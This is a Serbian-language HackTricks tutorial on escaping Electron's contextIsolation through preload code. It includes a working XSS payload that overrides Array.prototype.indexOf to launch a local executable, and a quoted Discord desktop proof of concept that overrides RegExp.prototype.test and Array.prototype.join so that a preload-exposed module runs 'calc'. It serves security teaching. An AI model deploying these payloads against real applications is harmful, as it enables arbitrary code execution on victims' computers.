5.8 KiB
Electron contextIsolation RCE via preload code
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Primer 1
Ovaj kod otvara http(s) linkove sa podrazumevanim pregledačem:
Nešto poput file:///C:/Windows/systemd32/calc.exe
može se koristiti za izvršavanje kalkulatora, SAFE_PROTOCOLS.indexOf
to sprečava.
Stoga, napadač bi mogao da ubaci ovaj JS kod putem XSS-a ili proizvoljne navigacije stranice:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
Kako će poziv SAFE_PROTOCOLS.indexOf
uvek vratiti 1337, napadač može zaobići zaštitu i izvršiti kalkulator. Konačan eksploatacioni kod:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Proverite originalne slajdove za druge načine izvršavanja programa bez traženja dozvola.
Navodno, još jedan način učitavanja i izvršavanja koda je pristup nečemu poput file://127.0.0.1/electron/rce.jar
Primer 2: Discord aplikacija RCE
Primer sa https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Prilikom provere preload skripti, otkrio sam da Discord izlaže funkciju, koja omogućava pozivanje određenih dozvoljenih modula putem DiscordNative.nativeModules.requireModule('IME-MODULA')
, na veb stranici.
Ovde nisam mogao koristiti module koji se mogu direktno koristiti za RCE, poput modula child_process, ali pronašao sam kod gde se RCE može postići preusmeravanjem ugrađenih JavaScript metoda i mešanjem u izvršavanje izloženog modula.
Sledeći je PoC. Potvrdio sam da se aplikacija calc pojavljuje kada pozovem funkciju getGPUDriverVersions
koja je definisana u modulu nazvanom "discord_utils" iz devTools-a, dok preusmeravam RegExp.prototype.test
i Array.prototype.join
.
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
Funkcija getGPUDriverVersions
pokušava da izvrši program koristeći "execa" biblioteku, kao u sledećem:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
Obično execa pokušava da izvrši "nvidia-smi.exe", koji je naveden u promenljivoj nvidiaSmiPath
, međutim, zbog prekoračenih RegExp.prototype.test
i Array.prototype.join
, argument je zamenjen sa "calc" u internom procesiranju _execa_**.
Konkretno, argument je zamenjen promenom sledećih dva dela.
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.